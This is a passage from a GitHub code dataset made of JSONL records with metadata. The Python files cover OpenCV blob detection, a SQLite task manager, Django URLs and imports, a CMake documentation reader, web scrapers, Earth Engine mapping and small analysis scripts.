6110, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "16", "api": [{"api_name": "cv2.imencode", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 47, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 48, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 57, "usage_type": "call"}, {"api_name": "time.time", "line_number": 71, "usage_type": "call"}, {"api_name": "time.time", "line_number": 73, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 75, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 79, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 90, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 124, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 124, "usage_type": "name"}, {"api_name": "flask.json.loads", "line_number": 126, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 126, "usage_type": "name"}, {"api_name": "flask.wrappers.Response", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.json.dumps", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 129, "usage_type": "name"}, {"api_name": "time.asctime", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.wrappers.Response", "line_number": 132, "usage_type": "call"}, {"api_name": "flask.json.dumps", "line_number": 132, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 132, "usage_type": "name"}, {"api_name": "flask.wrappers.Response", "line_number": 122, "usage_type": "name"}, {"api_name": "flask.request.data", "line_number": 137, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 137, "usage_type": "name"}, {"api_name": "flask.json.loads", "line_number": 139, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 139, "usage_type": "name"}, {"api_name": "flask.wrappers.Response", "line_number": 165, "usage_type": "call"}, {"api_name": "flask.wrappers.Response", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.wrappers.Response", "line_number": 163, "usage_type": "name"}, {"api_name": "flask.request.data", "line_number": 177, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 177, "usage_type": "name"}, {"api_name": "typing.Generator", "line_number": 184, "usage_type": "name"}]} +{"seq_id": "42201761219", "text": "import cv2\nimport numpy as np\n\ncv2.namedWindow('Blob', cv2.WINDOW_NORMAL)\ncv2.resizeWindow('Blob', 1920, 1025)\n# Read image\nsrc = cv2.imread('data/ID17320.B_Fa_002.png')\nim = cv2.cvtColor(src, cv2.COLOR_BGR2GRAY)\n\n# Setup SimpleBlobDetector parameters.\nparams = cv2.SimpleBlobDetector_Params()\n\n# Change thresholds\nparams.minThreshold = 50\nparams.maxThreshold = 200\n\n\n# Filter by Area.\nparams.filterByArea = True\nparams.minArea = 100\n\n# Filter by Circularity\nparams.filterByCircularity = True\nparams.minCircularity = 0.1\n\n# Filter by Convexity\nparams.filterByConvexity = False\nparams.minConvexity = 0.87\n\n# Filter by Inertia\nparams.filterByInertia = False\nparams.minInertiaRatio = 0.01\n\n# Create a detector with the parameters\n# OLD: detector = cv2.SimpleBlobDetector(params)\ndetector = cv2.SimpleBlobDetector_create(params)\n\n# Detect blobs.\nkeypoints = detector.detect(im)\n\n# Draw detected blobs as red circles.\n# cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS ensures\n# the size of the circle corresponds to the size of blob\n\nim_with_keypoints = cv2.drawKeypoints(src, keypoints, np.array([]), (0,255,0), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n# Show blobs\ncv2.imshow(\"Blob\", im_with_keypoints)\ncv2.waitKey(0)", "repo_name": "Potatototo/grainSizeThesis", "sub_path": "detectors/blob.py", "file_name": "blob.py", "file_ext": "py", "file_size_in_byte": 1213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "cv2.namedWindow", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 4, "usage_type": "attribute"}, {"api_name": "cv2.resizeWindow", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 8, "usage_type": "attribute"}, {"api_name": "cv2.SimpleBlobDetector_Params", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.SimpleBlobDetector_create", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.drawKeypoints", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS", "line_number": 45, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "72130761608", "text": "import sqlite3\n\ndef create_connection():\n conn = sqlite3.connect('tasks.db')\n return conn\n\ndef create_tasks_table(conn):\n cursor = conn.cursor()\n cursor.execute('''CREATE TABLE IF NOT EXISTS tasks (\n id INTEGER PRIMARY KEY,\n title TEXT NOT NULL,\n description TEXT,\n status TEXT NOT NULL\n )''')\n conn.commit()\n\ndef add_task(conn, title, description, status):\n cursor = conn.cursor()\n cursor.execute(\"INSERT INTO tasks (title, description, status) VALUES (?, ?, ?)\", (title, description, status))\n conn.commit()\n\ndef update_task(conn, task_id, title, description, status):\n cursor = conn.cursor()\n cursor.execute(\"UPDATE tasks SET title=?, description=?, status=? WHERE id=?\", (title, description, status, task_id))\n conn.commit()\n\ndef delete_task(conn, task_id):\n cursor = conn.cursor()\n cursor.execute(\"DELETE FROM tasks WHERE id=?\", (task_id,))\n conn.commit()\n\ndef view_tasks(conn):\n cursor = conn.cursor()\n cursor.execute(\"SELECT * FROM tasks\")\n tasks = cursor.fetchall()\n return tasks\n\ndef main():\n conn = create_connection()\n create_tasks_table(conn)\n\n print(\"Task Manager\")\n print(\"1. Add Task\")\n print(\"2. Update Task\")\n print(\"3. Delete Task\")\n print(\"4. View Tasks\")\n print(\"5. Exit\")\n\n while True:\n choice = int(input(\"\\nEnter your choice: \"))\n\n if choice == 1:\n title = input(\"Enter task title: \")\n description = input(\"Enter task description: \")\n status = input(\"Enter task status (completed/not completed): \")\n add_task(conn, title, description, status)\n elif choice == 2:\n task_id = int(input(\"Enter task ID: \"))\n title = input(\"Enter updated task title: \")\n description = input(\"Enter updated task description: \")\n status = input(\"Enter updated task status (completed/not completed): \")\n update_task(conn, task_id, title, description, status)\n elif choice == 3:\n task_id = int(input(\"Enter task ID: \"))\n delete_task(conn, task_id)\n elif choice == 4:\n tasks = view_tasks(conn)\n print(\"\\nTasks:\")\n for task in tasks:\n print(f\"ID: {task[0]}, Title: {task[1]}, Description: {task[2]}, Status: {task[3]}\")\n elif choice == 5:\n conn.close()\n break\n else:\n print(\"Invalid choice. Please try again.\")\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Bhamdou/exercise_5Aprl", "sub_path": "Task_Manager.py", "file_name": "Task_Manager.py", "file_ext": "py", "file_size_in_byte": 2590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sqlite3.connect", "line_number": 4, "usage_type": "call"}]} +{"seq_id": "36198579493", "text": "from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('', views.home, name=\"home\"),\n path('customers//', views.customers ,name=\"customer\"),\n path('product/', views.products, name=\"product\"),\n path('login/', views.loginPage, name=\"loginPage\"),\n path('createOrder/', views.createOrder_form ,name=\"create-order\"),\n path('updateOrder/', views.updateOrder ,name=\"update-order\"),\n path('deleteOrder/', views.deleteOrder ,name=\"delete-order\"),\n path('createCustomer/', views.createCustomer_form ,name=\"create-customer\"),\n path('updateCustomer/', views.updateCustomer ,name=\"update-customer\"),\n path('createProduct/', views.createProduct_form ,name=\"create-product\"),\n path('register/', views.register, name=\"register\"),\n path('logout/', views.logoutPage, name=\"logoutPage\"),\n path('customer/', views.customer, name=\"customer\"),\n path('deleteCustomer/', views.deleteCustomer, name=\"deleteCustomer\"),\n path('updateProduct/', views.updateProducts, name=\"update-Product\"),\n path('deleteProduct/', views.deleteProduct, name=\"delete-Product\"),\n path('user/', views.userPage, name=\"user-page\"),\n \n ]\n", "repo_name": "AnahChacha/ONLINE-E-GAS-SYSTEM-python", "sub_path": "customers/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1217, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "28001676149", "text": "import json\nimport os\nimport django\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"server.settings\")\ndjango.setup()\n\nfrom movies.models import Movie, Keyword\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"server.settings\")\ndjango.setup()\ndef import_movie_keywords():\n with open(\"movies_keywords.json\", \"r\", encoding=\"utf-8\") as f:\n data = json.load(f)\n\n for item in data:\n movie_id = item[\"movie_id\"]\n keyword_ids = item[\"keywords\"]\n \n try:\n movie = Movie.objects.get(movie_id=movie_id)\n except Movie.DoesNotExist:\n continue\n\n for keyword_id in keyword_ids:\n try:\n keyword = Keyword.objects.get(keyword_id=keyword_id)\n movie.keywords.add(keyword)\n except Keyword.DoesNotExist:\n continue\n\nimport_movie_keywords()\n", "repo_name": "Ikthegreat/HI_B", "sub_path": "get_movies_keywords.py", "file_name": "get_movies_keywords.py", "file_ext": "py", "file_size_in_byte": 861, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.environ.setdefault", "line_number": 4, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 5, "usage_type": "call"}, {"api_name": "os.environ.setdefault", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 10, "usage_type": "call"}, {"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "movies.models.Movie.objects.get", "line_number": 20, "usage_type": "call"}, {"api_name": "movies.models.Movie.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "movies.models.Movie", "line_number": 20, "usage_type": "name"}, {"api_name": "movies.models.Movie.DoesNotExist", "line_number": 21, "usage_type": "attribute"}, {"api_name": "movies.models.Movie", "line_number": 21, "usage_type": "name"}, {"api_name": "movies.models.Keyword.objects.get", "line_number": 26, "usage_type": "call"}, {"api_name": "movies.models.Keyword.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "movies.models.Keyword", "line_number": 26, "usage_type": "name"}, {"api_name": "movies.models.Keyword.DoesNotExist", "line_number": 28, "usage_type": "attribute"}, {"api_name": "movies.models.Keyword", "line_number": 28, "usage_type": "name"}]} +{"seq_id": "24760982037", "text": "from collections import Counter\nimport json\nimport pandas\nimport argparse\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--input')\n parser.add_argument('-o', '--output')\n args = parser.parse_args()\n dialog = args.input\n output = args.output\n dic = {\"Covid Vaccination\": {}, \"Covid Spread\": {}, \"Covid Precautions\": {}, \"Covid Restrictions\": {},\n \"Covid Variant Types\": {}, \"Post Covid Life\": {}, \"Covid and Society\": {}, \"Covid and Politics\": {}}\n with open(dialog, \"r\") as inp:\n df = pandas.read_csv(inp, sep=\"\\t\")\n lis = ['\"CV\"', '\"CS\"', '\"CP\"', '\"CR\"', '\"CT\"', '\"PL\"', '\"CY\"', '\"CL\"']\n list2 = [\"Covid Vaccination\", \"Covid Spread\", \"Covid Precautions\", \"Covid Restrictions\",\n \"Covid Variant Types\", \"Covid Life Impact\", \"Covid and Society\", \"Covid and Politics\"]\n i = 0\n for s in lis:\n string = (df.query('topic == ' + s)[\"sentiment\"]).str.cat(sep=' ')\n count = Counter(string.lower().split(\" \"))\n d = {}\n for key, value in count.items():\n d[key] = value\n dic[list2[i]] = d\n i += 1\n with open(output, \"w\") as out:\n json.dump(dic, out, indent=3)\n\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "simaana7/598-F2021-Project", "sub_path": "598-Project/neg_calc.py", "file_name": "neg_calc.py", "file_ext": "py", "file_size_in_byte": 1300, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 31, "usage_type": "call"}]} +{"seq_id": "41828693098", "text": "#!/usr/bin/env python3\n\"\"\"\ncmake documentation reader\n\n@author: Aurélien Gâteau \n@license: Apache 2.0\n\"\"\"\nimport argparse\nimport os\nimport shlex\nimport subprocess\n\nfrom collections import namedtuple\n\n__appname__ = \"cmakedoc\"\n__version__ = \"1.0.1\"\n__license__ = \"Apache 2.0\"\n\nDESCRIPTION = \"\"\"\\\ncmakedoc makes it easier to search CMake reference documentation.\n\"\"\"\n\nSOURCES = [\"command\", \"module\", \"variable\", \"property\"]\n\nMatch = namedtuple(\"Match\", (\"source\", \"topic\"))\n\n\ndef error(message):\n print(\"Error: {}\".format(message))\n\n\ndef find_matches(source, term):\n terms = term.lower().split(\" \")\n\n def match(line):\n line = line.lower()\n for term in terms:\n if term not in line:\n return False\n return True\n\n out, err = subprocess.Popen([\"cmake\", \"--help-%s-list\" % source],\n stdout=subprocess.PIPE).communicate()\n lines = str(out, \"utf-8\").splitlines()\n return [Match(source, x.strip()) for x in lines if match(x)]\n\n\ndef show_doc(match):\n pager = shlex.split(os.environ.get(\"PAGER\", \"less\"))\n p1 = subprocess.Popen([\"cmake\", \"--help-%s\" % match.source, match.topic],\n stdout=subprocess.PIPE)\n p2 = subprocess.Popen(pager, stdin=p1.stdout)\n p2.wait()\n\n\ndef show_prompt(has_topic):\n if has_topic:\n message = \"Enter topic number or search term\"\n else:\n message = \"Enter search term\"\n message += \" (empty input or 'q' to quit): \"\n try:\n answer = input(message)\n except KeyboardInterrupt:\n print()\n return \"\"\n answer = answer.lower()\n if answer == \"q\":\n return \"\"\n return answer\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.description = DESCRIPTION\n parser.add_argument(\"term\", nargs=\"*\", help=\"Search term\")\n args = parser.parse_args()\n\n if args.term:\n term = \" \".join(args.term)\n else:\n term = show_prompt(has_topic=False)\n if term == \"\":\n return\n\n while True:\n matches = []\n for source in SOURCES:\n matches.extend(find_matches(source, term))\n\n if matches:\n print()\n print(\"# Matching topics:\")\n for idx, match in enumerate(matches):\n print(\"%2d: %s (%s)\" % (idx + 1, match.topic, match.source))\n else:\n error(\"no topics found.\")\n print()\n\n answer = show_prompt(has_topic=len(matches) > 0)\n\n if answer.isdigit():\n index = int(answer) - 1\n if index < 0 or index >= len(matches):\n error(\"invalid topic number.\")\n continue\n show_doc(matches[index])\n elif answer == \"\":\n return\n else:\n term = answer\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "agateau/cmakedoc", "sub_path": "cmakedoc.py", "file_name": "cmakedoc.py", "file_ext": "py", "file_size_in_byte": 2836, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.namedtuple", "line_number": 25, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 42, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 43, "usage_type": "attribute"}, {"api_name": "shlex.split", "line_number": 49, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 49, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 49, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 50, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 52, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 74, "usage_type": "call"}]} +{"seq_id": "15295068312", "text": "import pickle as pk\nimport asyncio\nimport requests\nfrom cachecontrol import CacheControl\n# NOTE: This requires lockfile be installed\nfrom cachecontrol.caches import FileCache\nfrom concurrent.futures import ProcessPoolExecutor\nfrom concurrent.futures import ThreadPoolExecutor\nimport bs4\nfrom cachecontrol.heuristics import ExpiresAfter\nfrom cachecontrol import CacheControlAdapter\n\n\ndef serialize_session(session):\n with open(\"session.save.p\", \"wb\") as f:\n pk.dump(session, f)\n\n\ndef deserialize_session():\n with open(\"session.save.p\", \"rb\") as f:\n return pk.load(f)\n\n\nsession = None\n\n\ndef init_session():\n global session\n try:\n if session is None:\n session = deserialize_session()\n except:\n session = requests.Session()\n serialize_session(session)\n\n\ninit_session()\n\nsess = CacheControl(session,\n cache=FileCache('.webcache', forever=True),\n heuristic=ExpiresAfter(days=1))\n\n# adapter = CacheControlAdapter(cache=FileCache(\n# '.webcache'), heuristic=ExpiresAfter(days=1)) # , forever=True\n# sess = requests.Session()\n# sess.mount('https://', adapter)\n\n\nloop = asyncio.get_event_loop()\np = ProcessPoolExecutor(2) # Create a ProcessPool with 2 processes\n#p = ThreadPoolExecutor(2)\n\n\nasync def get_title(url):\n future1 = loop.run_in_executor(p, sess.get, url)\n # future1 = loop.run_in_executor(p, requests.get, url)\n response1 = await future1\n soup = bs4.BeautifulSoup(response1.text, \"lxml\")\n '''
\n \n Collection of emacs extensions specifically collected for python development, with workflow guidelines!\n \n http://gabrielelanaro.github.com/emac…\n
'''\n a = soup.find('div', class_='repository-meta-content')\n # print(a.text)\n return a.text\n\n\nasync def main():\n urls = ['https://github.com/ionrock/cachecontrol',\n 'https://github.com/gabrielelanaro/emacs-for-python']\n futures = map(lambda url: get_title(url), urls)\n\n all_data = await asyncio.gather(*futures)\n print(all_data)\n\nif __name__ == '__main__':\n\n try:\n with p:\n #loop = asyncio.get_event_loop()\n loop.run_until_complete(main())\n finally:\n # see: https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.AbstractEventLoop.shutdown_asyncgens\n loop.run_until_complete(loop.shutdown_asyncgens())\n loop.close()\n", "repo_name": "tastuteche/tell-me-more", "sub_path": "tell_me_more/github_title.py", "file_name": "github_title.py", "file_ext": "py", "file_size_in_byte": 2648, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pickle.dump", "line_number": 16, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 21, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 33, "usage_type": "call"}, {"api_name": "cachecontrol.CacheControl", "line_number": 39, "usage_type": "call"}, {"api_name": "cachecontrol.caches.FileCache", "line_number": 40, "usage_type": "call"}, {"api_name": "cachecontrol.heuristics.ExpiresAfter", "line_number": 41, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 49, "usage_type": "call"}, {"api_name": "concurrent.futures.ProcessPoolExecutor", "line_number": 50, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 58, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 75, "usage_type": "call"}]} +{"seq_id": "74712393607", "text": "from prettytable import PrettyTable\nfrom parser import individuals, families\n\ndef print_individuals_table():\n Prettable = PrettyTable()\n Prettable.field_names = [\"ID\",\"Name\",\"Gender\",\"Birth Date\",\"Age\",\"Alive\",\"Death Date\",\"Child Family\",\"Spouse Families\",\"Errors\",\"Anomalies\"]\n for i in individuals:\n Prettable.add_row(i.totalList())\n print(\"Individuals\")\n print(Prettable, \"\\n\")\n \ndef print_families_table():\n Prettable = PrettyTable()\n Prettable.field_names = [\"ID\",\"Marriage Date\",\"Divorce Date\",\"Husband ID\",\"Husband Name\",\"Wife ID\",\"Wife Name\",\"Child IDs\",\"Errors\",\"Anomalies\"]\n for f in families:\n Prettable.add_row(f.totalList())\n print(\"Families\")\n print(Prettable, \"\\n\")\n", "repo_name": "jjohn50/SSW-555-Project", "sub_path": "parse_gedcom/print_tables.py", "file_name": "print_tables.py", "file_ext": "py", "file_size_in_byte": 698, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "prettytable.PrettyTable", "line_number": 5, "usage_type": "call"}, {"api_name": "parser.individuals", "line_number": 7, "usage_type": "name"}, {"api_name": "prettytable.PrettyTable", "line_number": 13, "usage_type": "call"}, {"api_name": "parser.families", "line_number": 15, "usage_type": "name"}]} +{"seq_id": "7126463772", "text": "import ee \nimport geemap\n\n# Create a map centered at (lat, lon).\nMap = geemap.Map(center=[40, -100], zoom=4)\n\ndataset = ee.Image('CSP/ERGo/1_0/Global/ALOS_topoDiversity')\nalosTopographicDiversity = dataset.select('constant')\nalosTopographicDiversityVis = {\n 'min': 0.0,\n 'max': 1.0,\n}\nMap.setCenter(-111.313, 39.724, 6)\nMap.addLayer(\n alosTopographicDiversity, alosTopographicDiversityVis,\n 'ALOS Topographic Diversity')\n\n# Display the map.\nMap\n", "repo_name": "giswqs/earthengine-py-examples", "sub_path": "Datasets/Terrain/alos_topo_diversity.py", "file_name": "alos_topo_diversity.py", "file_ext": "py", "file_size_in_byte": 453, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 114, "dataset": "github-code", "pt": "16", "api": [{"api_name": "geemap.Map", "line_number": 5, "usage_type": "call"}, {"api_name": "ee.Image", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "34269472987", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\np = 0.45\ndef val(n):\n A = np.array([[0.0 for i in range(n+1)] for j in range(n+1)])\n b = np.array([1.0 for i in range(n+1)])\n b[n] = 0\n\n A[0][0] = 1\n A[0][1] = -1\n\n for i in range(1,n):\n A[i][i] = 1\n A[i][i-1] = -(1-p)\n A[i][i+1] = -p\n\n A[n][n] = 1\n\n F = np.linalg.solve(A,b)\n\n return F[0]\n\nNS = range(2,100)\nvals = [val(n) for n in NS]\neps = 1/2 -p\nbob = (1+2*eps)/(1-2*eps)\npoints = [bob**(1.1*n) for n in NS]\nplt.plot(vals)\nplt.plot(points)\nplt.show()\n\n", "repo_name": "awestover/skyspace", "sub_path": "posts/combinatorics/src/probsim.py", "file_name": "probsim.py", "file_ext": "py", "file_size_in_byte": 556, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.array", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.linalg.solve", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 20, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}]} +{"seq_id": "12244272156", "text": "# --*-- coding:utf-8 --*--\n\"\"\"\n@author wq\n@time 2018/10/18 16:19\n@desc\n\"\"\"\n\n\nimport logging\nimport time\nimport re\nimport requests\nfrom pyquery import PyQuery as pq\nfrom spiders import MainSpider\nfrom lib.http_request import HttpRequest\nfrom spiders.court_bulletin.model import BulletinCourt\nfrom lib.spider_exception import SpiderException\nimport traceback\nfrom util.date_parse import get_today_date\nfrom util.file import file_out\n\nrequests.packages.urllib3.disable_warnings()\n\n\nlog = logging.getLogger()\n\n\nheaders = {\n \"Host\": \"www.fjcourt.gov.cn\",\n \"Connection\": \"keep-alive\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\"\n # \"Cookie\": \"ASP.NET_SessionId=00cjljiyfdjgxlmyvbdkm0ab; Hm_lvt_5b3a903dfec5ceeedc657e93ebc7c5f4=1539836124,1539850436; Hm_lpvt_5b3a903dfec5ceeedc657e93ebc7c5f4=1539851321\",\n }\n\n\nclass Spider(MainSpider):\n\n def __init__(self):\n self.task_id = \"fujian\"\n self.site_name = \"福建省高级人民法院法院公告\"\n MainSpider.__init__(self, task_id=self.task_id)\n self.http = HttpRequest(self.task_id, self.site_name)\n self.headers = headers\n\n def parse(self):\n\n url = \"https://www.fjcourt.gov.cn/page/public/courtreport.html\"\n log.info(\"开始抓取=============={}\".format(self.site_name))\n log.info(\"开始抓取=============={},第{}页\".format(self.site_name, 1))\n self.http.http_requst(url, \"get\", headers=self.headers, verify=False)\n if self.http.res_code() == 200:\n html_data = self.http.parse_html()\n object_list, total_page, VIEWSTATE = self.parse_html(html_data)\n log.info(\"开始存储=============={},第{}页\".format(self.site_name, 1))\n # 将对象列表插入数据库\n self.mysql_client.session_insert_list(object_list)\n # 提交\n self.mysql_client.session_commit()\n\n for i in range(2, int(total_page)+1):\n form = {\n \"__VIEWSTATE\": VIEWSTATE,\n \"__VIEWSTATEGENERATOR\": \"54969BDC\",\n \"__EVENTTARGET\": \"ctl00$cplContent$AspNetPager1\",\n }\n try:\n form[\"__EVENTARGUMENT\"] = i\n log.info(\"开始抓取=============={},第{}页\".format(self.site_name, (form['__EVENTARGUMENT'])))\n self.http.http_session(url, \"post\", data=form, headers=self.headers)\n if self.http.res_code() == 200:\n html_data = self.http.parse_html()\n object_list, total_page, VIEWSTATE = self.parse_html(html_data)\n log.info(\"开始存储=============={},第{}页\".format(self.site_name, (form['__EVENTARGUMENT'])))\n # 将对象列表插入数据库\n self.mysql_client.session_insert_list(object_list)\n # 提交\n self.mysql_client.session_commit()\n else:\n SpiderException(\"抓取{},第{}页异常\".format(self.site_name, (form['__EVENTARGUMENT'])\n ), self.task_id, url, self.site_name)\n #\n except Exception:\n # 捕获异常\n m = traceback.format_exc()\n SpiderException(m, self.task_id, url, self.site_name)\n # 目前为测试状态，只抓取前两页内容，正式上线前将break删掉\n break\n else:\n SpiderException(\"抓取{},第{}页异常\".format(self.site_name, 1), self.task_id, url, self.site_name)\n # 关闭数据库链接\n self.mysql_client.session_close()\n log.info(\"抓取{}结束\".format(self.site_name))\n\n\n def added_parse(self):\n pass\n\n def parse_html(self, html):\n\n doc = pq(html)\n total_page = 10\n for page in doc('a.pagination').items():\n if page.text() == \">>\":\n total_page = int(\"\".join(re.findall(\"\\d{2,3}\", page.attr.href)))\n VIEWSTATE = doc(\"div.aspNetHidden input\").attr.value\n lis = doc('ul.module-case-items li').items()\n object_list = list()\n for x in lis:\n self.http.http_session(\"https://www.fjcourt.gov.cn\" +\n x('a').attr.href, \"get\", headers=self.headers, verify=False)\n htm = self.http.parse_html()\n doc = pq(htm)\n # 生成文件路径\n t_way = self.task_id + str(time.time()) + '.txt'\n # 生成文件路径\n file_out(t_way, str(htm))\n content = doc('div.article-wrap')\n item = dict()\n item[\"taskid\"] = self.task_id\n item[\"title\"] = content('p.article-hd-title').text()\n item[\"bulletin_way\"] = t_way\n item[\"court_y\"] = content('span.article-author').text()\n item[\"court_t\"] = \"\".join(re.findall(\"(在.*公开)\", content('div.article-content').text())\n ).replace(\"在\", \"\").replace(\"公开\", \"\")\n item[\"start_court_t\"] = x('span.cir-time').text().replace(\"[\", \"\").replace(\"]\", \"\")\n item[\"court_part\"] = \"\".join(re.findall(\"(在.*公开)\", content('div.article-content').text())\n ).replace(\"在\", \"\").replace(\"公开\", \"\")\n item[\"site_name\"] = self.site_name\n pub_time = (item[\"start_court_t\"].replace(\"-\", \"\"))\n date = get_today_date()\n if eval(pub_time) > eval(date):\n # 将item字典映射成对象\n b = BulletinCourt(**item)\n object_list.append(b)\n # 返回对象列表和总页数\n return object_list, total_page, VIEWSTATE\n\n\n\nif __name__ == \"__main__\":\n\n fujian_spider = 